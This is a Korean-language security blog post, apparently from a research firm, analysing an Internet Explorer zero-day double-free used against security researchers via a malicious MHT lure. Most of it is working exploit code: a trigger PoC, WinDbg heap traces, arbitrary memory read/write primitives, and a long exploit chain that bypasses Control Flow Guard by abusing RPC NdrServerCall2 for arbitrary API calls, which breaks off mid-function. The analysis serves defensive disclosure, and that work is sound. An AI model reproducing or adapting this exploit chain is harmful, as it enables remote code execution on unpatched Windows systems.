Internet Explorer 0day 분석

Overview

지난 1월 구글마이크로소프트는 보안 연구자를 대상으로 한 북한발 해킹 공격에 대한 분석 결과를 공개했습니다. 알려진 것과 같이 SNS를 이용한 공격이 엔키의 연구원을 대상으로도 동일하게 시도되었습니다.

그러나 해킹 공격이 명백했기 때문에 공격자의 시도는 실패했고 반대로 공격이 시도되던 당시의 로그를 확보할 수 있었습니다. 이번 글에서는 크롬, 비주얼 스튜디오 등 공개된 분석 결과에서 설명되지 않은 Internet Explorer 0day 공격 분석 결과를 공유합니다.

Initial Attack

공격자는 크롬 공격 코드를 macOS 대상으로 변경하는 작업 참여를 요구하며 크롬 취약점 코드를 담고 있는 문서로 “Chrome_85_RCE_Full_Exploit_Code.mht” 파일을 전달해왔습니다. 파일은 Internet Explorer 브라우저를 이용해 방문한 웹 사이트를 로컬 저장 시 사용되는 MHTML 파일입니다.

해당 파일은 크롬에서 일부 내용을 확인할 수 있으나 자바 스크립트 기능을 활성화하고 버튼 액션이 동작할 때 글의 내용을 온전히 읽을 수 있게 제작되었습니다. 이것은 공격 대상이 Internet Explorer 브라우저를 사용하도록 유도한 것으로 추정됩니다.

스크립트 실행이 허용되면 원격지(codevexillium[.]org)에서 추가 페이로드를 2회 다운로드하며 2차 페이로드에는 Internet Explorer 브라우저의 취약점을 공격하는 공격 코드가 담겨있습니다.

저희 분석 결과와 원본 공격 코드 링크를 통해 다운로드 가능합니다.

Exploit Analysis

Root Cause Analysis

<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">
/*
IE Double Free 0day PoC extracted from "Chrome_85_RCE_Full_Exploit_Code.mht" malware
Tested on Windows 10 Pro 19042.746, IE11, x64

(20e0.2140): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
jscript9!Js::DataView::SetValue<int,int *>+0x48:
6c903c89 890411          mov     dword ptr [ecx+edx],eax ds:002b:41414141=????????
1:023:x86> r
eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=05cfb210 edi=05bacda8
eip=6c903c89 esp=05bacd5c ebp=05bacd5c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
1:023:x86> vertarget
Windows 10 Version 19042 MP (8 procs) Free x64
Product: WinNt, suite: SingleUserTS
Edition build lab: 19041.1.amd64fre.vb_release.191206-1406
*/
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }

function pad0(str) {
    return ('0000' + str).slice(-4)
}

function alloc1() {
    var view = new DataView(abf)
    var str = ''
    for (var i = 4; i < abf.byteLength - 2; i += 2)
        str += '%u' + pad0(view.getUint16(i, true).toString(16))
    var result = document.createAttribute('alloc')
    result.nodeValue = unescape(str)
    return result
}

function alloc2() {
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, [{}])
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    return dic1.items()
}

function dump(nv) {
    var ab = new ArrayBuffer(0x20010)
    var view = new DataView(ab)
    for (var i = 0; i < nv.length; ++i)
        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
    return ab
}

function Data(type, value) {
    this.type = type
    this.value = value
}

function setData(i, data) {
    var arr = new Uint32Array(abf)
    arr[i * 4] = data.type
    arr[i * 4 + 2] = data.value
}

function flush() {
    hd1.nodeValue = (new alloc1()).nodeValue
    hd2.nodeValue = 0
    hd2 = hd1.cloneNode()
}

function read(addr, size) {
    switch (size) {
        case 8:
            return god.getUint8(addr)
        case 16:
            return god.getUint16(addr, true)
        case 32:
            return god.getUint32(addr, true)
    }
}

function write(addr, value, size) {
    switch (size) {
        case 8:
            return god.setUint8(addr, value)
        case 16:
            return god.setUint16(addr, value, true)
        case 32:
            return god.setUint32(addr, value, true)
    }
}

var god
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var leak = alloc2()
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
ele.removeAttributeNode(att)
hd0.nodeValue = leak
var memory = new Uint32Array(dump(hd2.nodeValue))[6]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var tmp = new Array(0x10)
var mem = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, memory + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) 
    tmp[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, tmp[4]))
setData(2, new Data(VT_BYREF | VT_I4, tmp[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, tmp[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) mem[i] = tmp[i]
mem[4] = bs + 0x40
mem[16] = vt
mem[17] = gc
mem[24] = 0xffffffff
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null

write(0x41414141, 0x42424242, 32)
</script>
</body>
</html>

위는 취약점 근본 원인을 분석하기 위해 공격 코드에서 추출한 버그를 트리거 하는 PoC 코드입니다. 분석 결과 공격자가 사용한 버그는 DOM 오브젝트의 어트리뷰트 값 해제 부분에서 발생하는 Double Free 버그로 확인됐습니다.

eax=0eab29a4 ebx=0bdbb518 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb4cc
eip=75594d20 esp=0bdbb4c4 ebp=0bdbb4d4 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> dd esp l2
0bdbb4c4  6dbf32d6 12564ff4
0:010> !heap -p -a 12564ff4-4
    address 12564ff0 found in
    _DPH_HEAP_ROOT @ 3971000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                12560f70:         12564ff0            20010 -         12564000            22000
    6e1194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
    778c158b ntdll!RtlDebugAllocateHeap+0x0000003c
    77881445 ntdll!RtlpAllocateHeap+0x00065745
    7781ad5e ntdll!RtlAllocateHeap+0x0000013e
    76dab056 combase!CRetailMalloc_Alloc+0x00000016 [d:\blue\com\combase\class\memapi.cxx @ 641]
    75595174 OLEAUT32!APP_DATA::AllocCachedMem+0x0000005f
    7559524f OLEAUT32!SysAllocString+0x0000007f
    665249eb MSHTML!FormsAllocStringW+0x00000015
    66bcaafe MSHTML!CAttrArray::Set+0x00000255
    66b5f589 MSHTML!CBase::InvokeAA+0x0000010e
    66b5ecc0 MSHTML!CElement::ie9_setAttributeNSInternal+0x00000222
    66816392 MSHTML!CElement::Var_setAttribute+0x00000152
    668163f4 MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0x00000044
    661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069
0:010> k
 # ChildEBP RetAddr 
00 0bc9b500 6dbf32d6 OLEAUT32!SysFreeString
01 0bc9b514 66b83950 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26
02 0bc9b540 66f29271 MSHTML!CAttrArray::Free+0x117
03 0bc9b56c 66f376ad MSHTML!CAttrArray::Clear+0xeb
04 0bc9b5ac 6724a6c2 MSHTML!CElement::clearAttributes+0xfd
05 0bc9b5c8 661e6eee MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x32
06 0bc9b604 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69
0:010> g
Breakpoint 1 hit
eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb45c
eip=75594d20 esp=0bdbb454 ebp=0bdbb464 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> g
Breakpoint 1 hit
eax=00000000 ebx=00000008 ecx=0bdbb540 edx=01000000 esi=00000000 edi=0bdbb540
eip=75594d20 esp=0bdbb4c8 ebp=0bdbb4e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> g
Breakpoint 1 hit
eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbbbf8
eip=75594d20 esp=0bdbbbf0 ebp=0bdbbc00 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> dd esp l2
0bdbbbf0  6dbf32d6 12564ff4
0:010> !heap -p -a 12564ff4-4
    address 12564ff0 found in
    _DPH_HEAP_ROOT @ 3971000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   12560f70:         12564000            22000
    6e119712 verifier!AVrfDebugPageHeapFree+0x000000c2
    778c1da2 ntdll!RtlDebugFreeHeap+0x0000003c
    778805db ntdll!RtlpFreeHeap+0x00066d3b
    778194d8 ntdll!RtlFreeHeap+0x00000478
    76daafcb combase!CRetailMalloc_Free+0x0000001b [d:\blue\com\combase\class\memapi.cxx @ 687]
    755950ad OLEAUT32!APP_DATA::FreeCachedMem+0x000000a7
    755fae5d OLEAUT32!SysFreeStringImpl+0x0000007d
    755faeca OLEAUT32!SysReleaseString+0x0000001a
    755c6b3e OLEAUT32!SysFreeString+0x00000013
    6dbf32d6 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x00000026
    66b83950 MSHTML!CAttrArray::Free+0x00000117
    66f29271 MSHTML!CAttrArray::Clear+0x000000eb
    66f376ad MSHTML!CElement::clearAttributes+0x000000fd
    6724a6c2 MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x00000032
    661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069
0:010> k
 # ChildEBP RetAddr  
00 0bbbbb0c 6dbf32d6 OLEAUT32!SysFreeString
01 0bbbbb20 669f5adf IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26
02 0bbbbb30 6656601b MSHTML!CAttrValue::Free+0x5c
03 0bbbbb74 670178d1 MSHTML!CAttrArray::Destroy+0x7f
04 0bbbbb84 66f40b41 MSHTML!CBase::DeleteAt+0x2b
05 0bbbbbdc 66f4094b MSHTML!CElement::ie9_removeAttributeNodeInternal+0x1a1
06 0bbbbc24 67258afd MSHTML!CElement::ie9_removeAttributeNode+0xbb
07 0bbbbc70 661e6eee MSHTML!CFastDOM::CElement::Trampoline_removeAttributeNode+0x6d
08 0bbbbcac 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69

디버깅 로그에서 이미 할당 해제된 힙 영역을 OLEAUT32!SysFreeString 함수로 다시 한번 할당 해제하는 것을 확인할 수 있습니다. OLEAUT32!SysFreeString API는 DOM 오브젝트에 바인드 되는 문자열 데이터의 어트리뷰트를 해제할 때 사용되는데, 해당 API는 내부적으로 APP_DATA::FreeCachedMem 함수를 통해 해제 대상 메모리를 관리합니다.
이때, 0x8000 크기 이상의 데이터는 APP_DATA 메모리 관리자의 캐쉬 기능을 거치지 않고, 기본 프로세스 힙 메모리 관리자를 통해 요청 즉시 해제되기 때문에, 현재 IE 브라우저에 적용되는 Isolated HeapDelayed free 등의 메모리 보호 기능의 영향을 받지 않게 됩니다.

Arbitrary Memory R/W

var abf = new ArrayBuffer(0x20010)
var fake = new ArrayBuffer(0x100)

function alloc1() { // allocate 0x20010
    var view = new DataView(abf)
    var str = ''
    for (var index = 4; index < abf.byteLength - 2; index += 2)
        str += '%u' + pad0(view.getUint16(index, true).toString(16))
    var result = document.createAttribute('alloc1')
    result.nodeValue = unescape(str)
    return result
}

function alloc2() { // allocate 0x20010
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, [{}])
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    var reseult = document.createAttribute('alloc2')
    result.nodeValue = dic1.items()
    return result
}

더블 프리 버그로 인해, alloc1alloc2 함수는 서로 다른 타입의 객체를 사용하지만, 같은 메모리 주소 공간에 데이터를 할당하게 되어 Type Confusion 조건을 얻을 수 있습니다.

추가 공격 코드 실행을 위해 공격자는 버퍼 주소 0x0, 사이즈 0x7FFFFFFF를 갖는 Fake ArrayBuffer를 생성한 후 프로세스의 유저 공간 전체 메모리를 읽고 쓸 수 있는 DataView 오브젝트를 생성합니다.

var dv = new DataView(fake_unlimit_arraybuffer)

function read(addr, size) {
    switch (size) {
        case 8:
            return dv.getUint8(addr)
        case 16:
            return dv.getUint16(addr, true)
        case 32:
            return dv.getUint32(addr, true)
    }
}

function write(addr, value, size) {
    switch (size) {
        case 8:
            return dv.setUint8(addr, value)
        case 16:
            return dv.setUint16(addr, value, true)
        case 32:
            return dv.setUint32(addr, value, true)
    }
}

write(0x41414141, 0x42424242, 32)

/*
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=41414141 edi=42424242
eip=663c5565 esp=0899b89c ebp=0899b89c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
jscript9!Js::DataView::SetValue<int,int *>+0x3a:
663c5565 890411          mov     dword ptr [ecx+edx],eax ds:0023:41414141=????????
*/

DataView 생성 후, read/write 유틸리티 함수를 이용해 임의의 API를 호출할 수 있도록 추가 작업을 진행합니다.

Arbitrary Function Call

function getDllBase(base, name) {
    var tmpValue = 0
    var index = 0
    var iat = base + read(base + read(base + 60, 32) + 128, 32)
    while (true) {
        var offset = read(iat + index * 20 + 12, 32)
        if (strcmp(base + offset, name)) break
        index++
    }
    var addr = read(iat + index * 20 + 16, 32)
    return getBase(read(base + addr, 32))
}

function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && findPEbase(addr)) break
        addr -= 0x10000
    }
    return addr
}

function isMZ(addr) {
    return read(addr, 16) == 0x5a4d
}

function findPEbase(addr) {
    var sizeOfHeaders = read(addr + 60, 32)
    if (sizeOfHeaders > 0x600) return null
    var addr = addr + sizeOfHeaders
    if (read(addr, 32) != 0x4550) return null
    return addr
}

function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}

프로세스 메모리 전체에 접근이 가능한 상황에서 공격자는 위와 같이 유틸리티 함수를 구현하여 프로세스 내부 상황을 분석하고 임의로 필요한 API들을 호출할 수 있도록 준비합니다.

이번 공격 코드의 경우 Control Flow Guard가 적용되어 있을 경우, 해당 보호 기법을 우회하며, 공격자는 임의 API 호출을 위해 윈도우 운영체제에서 제공하는 RPC 매커니즘을 악용합니다.

위와 같이 메모리를 구성하여 공격자는 rpcrt4!NdrServerCall2(...) 함수를 시작으로, rpcrt4!Invoke(...) 함수를 통해, 임의의 API에 자유롭게 인자를 전달하여 호출할 수 있었습니다.

CFastDOM::ValidateCall, Control Flow Guard 등 보호 기법들을 무력화하고 쉘코드를 실행하는 PoC 공격 코드는 다음과 같습니다.

<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }

function pad0(str) {
    return ('0000' + str).slice(-4)
}

function alloc1() {
    var view = new DataView(abf)
    var str = ''
    for (var i = 4; i < abf.byteLength - 2; i += 2)
        str += '%u' + pad0(view.getUint16(i, true).toString(16))
    var result = document.createAttribute('alloc')
    result.nodeValue = unescape(str)
    return result
}

function alloc2() {
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, arr)
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    return dic1.items()
}

function dump(nv) {
    var ab = new ArrayBuffer(0x20010)
    var view = new DataView(ab)
    for (var i = 0; i < nv.length; ++i)
        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
    return ab
}

function Data(type, value) {
    this.type = type
    this.value = value
}

function setData(i, data) {
    var arr = new Uint32Array(abf)
    arr[i * 4] = data.type
    arr[i * 4 + 2] = data.value
}

function flush() {
    hd1.nodeValue = (new alloc1()).nodeValue
    hd2.nodeValue = 0
    hd2 = hd1.cloneNode()
}

function read(addr, size) {
    switch (size) {
        case 8:
            return god.getUint8(addr)
        case 16:
            return god.getUint16(addr, true)
        case 32:
            return god.getUint32(addr, true)
    }
}

function write(addr, value, size) {
    switch (size) {
        case 8:
            return god.setUint8(addr, value)
        case 16:
            return god.setUint16(addr, value, true)
        case 32:
            return god.setUint32(addr, value, true)
    }
}

function writeData(addr, data) {
    for (var i = 0; i < data.length; ++i)
        write(addr + i, data[i], 8)
}

function addrOf(obj) {
    arr[0] = obj
    return read(pArr, 32)
}

function strcmp(str1, str2) {
    str1 = (typeof str1 == 'string') ? str1 : toStr(str1)
    str2 = (typeof str2 == 'string') ? str2 : toStr(str2)
    return str1.toLowerCase() == str2.toLowerCase()
}

function memcpy(dst, src, size) {
    for (var i = 0; i < size; ++i)
        write(dst + i, read(src + i, 8), 8)
}

function toStr(addr) {
    var str = ''
    while (true) {
        var c = read(addr, 8)
        if (c == 0) break
        str += String.fromCharCode(c)
        addr++
    }
    return str
}

function newStr(str) {
    var buffer = createArrayBuffer(str.length + 1)
    for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8)
    write(buffer + i, 0, 8)
    return buffer
}

function getDllBase(base, name) {
    var tmpValue = 0
    var index = 0
    var iat = base + read(base + read(base + 60, 32) + 128, 32)
    while (true) {
        var offset = read(iat + index * 20 + 12, 32)
        if (strcmp(base + offset, name)) break
        index++
    }
    var addr = read(iat + index * 20 + 16, 32)
    return getBase(read(base + addr, 32))
}

function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && isPE(addr)) break
        addr -= 0x10000
    }
    return addr
}

function isMZ(addr) {
    return read(addr, 16) == 0x5a4d
}

function isPE(addr) {
    var sizeOfHeaders = read(addr + 60, 32)
    if (sizeOfHeaders > 0x600) return null
    var addr = addr + sizeOfHeaders
    if (read(addr, 32) != 0x4550) return null
    return addr
}

function winVer() {
    var appVersion = window.navigator.appVersion
    var ver = 0
    if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) {
        ver = 100
    } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) {
        ver = 81
    } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) {
        ver = 80
    } else {
        ver = 70
    }
    return ver
}

function createArrayBuffer(size) {
    var ab = new ArrayBuffer(size)
    var bs = read(addrOf(ab) + 0x1c, 32)
    map.set(bs, ab)
    return bs
}

function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}

function readyRpcCall(func) {
    var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation')
    var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo')
    var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable')
    write(RPC_DISPATCH_TABLE_Buffer, func, 32)
}

function setArgs(args) {
    var buffer = createArrayBuffer(48)
    for (var i = 0; i < args.length; ++i) {
        write(buffer + i * 4, args[i], 32)
    }
    _RPC_MESSAGE.set(msg, 'Buffer', buffer)
    _RPC_MESSAGE.set(msg, 'BufferLength', 48)
    _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000)
    return buffer
}

function callRpcFreeBufferImpl() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer)
    return call(rpcFree)
}

function callRpcFreeBuffer() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    var result = read(buffer, 32)
    callRpcFreeBufferImpl()
    return result
}

function call2(func, args) {
    readyRpcCall(func)
    var buffer = setArgs(args)
    call(msg)
    map.delete(buffer)
    return callRpcFreeBuffer()
}

function call(addr) {
    var result = 0
    write(paoi + 0x18, addr, 32)
    try {
        xyz.normalize()
    } catch (error) {
        result = error.number
    }
    write(paoi + 0x18, patt, 32)
    return result
}

function prepareCall(addr, func) {
    var buf = createArrayBuffer(cattr.size())
    var vft = read(patt, 32)
    memcpy(addr, patt, cbase.size())
    memcpy(buf, vft, cattr.size())
    cbase.set(addr, 'pvftable', buf)
    cattr.set(buf, 'normalize', func)
}

function createBase() {
    var isWin7 = winVer() == 70
    var size = isWin7 ? 560 : 572
    var offset = isWin7 ? 540 : 548
    var addr1 = createArrayBuffer(size + cbase.size())
    var addr2 = createArrayBuffer(48)
    write(addr1 + offset, addr2, 32)
    write(addr2 + 40, 8, 32)
    write(addr2 + 36, 8, 32)
    return {
        size: size,
        addr: addr1
    }
}

function aos() {
    var baseObj = createBase()
    var addr = baseObj.addr + baseObj.size
    var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')
    prepareCall(addr, I_RpcTransServerNewConnection)
    return read(read(call(addr)-0xf8, 32), 32)
}

function SymTab(size, sym) {
    this.size = function() {
        return size
    }
    this.set = function(addr, name, value) {
        var o = sym[name]
        write(addr + o.offset, value, o.size)
    }
    this.get = function(addr, name) {
        var o = sym[name]
        return read(addr + o.offset, o.size)
    }
}

function initRpc() {
    var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0]
    var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')
    var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')
    var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')
    var RPCMessageObject = createArrayBuffer(cbase.size())
    var buffer = createArrayBuffer(0x100)
    var buffer2 = createArrayBuffer(0x200)
    var AttributeVtable = read(patt, 32)
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())
    var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())
    var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())
    var rpcProcStringBuffer = createArrayBuffer(data.length)
    writeData(rpcProcStringBuffer, data)
    var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())
    var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())
    var NdrServerCall2Buffer = createArrayBuffer(4)
    write(NdrServerCall2Buffer, NdrServerCall2, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 0x40, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
    cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)
    write(RPCMessageObject + 76, 1, 32)
    syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)
    _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)
    return RPCMessageObject
}

function rpcFree() {
    var Cbase = createArrayBuffer(cbase.size())
    var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer')
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var AttributeVtable = read(patt, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 64, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
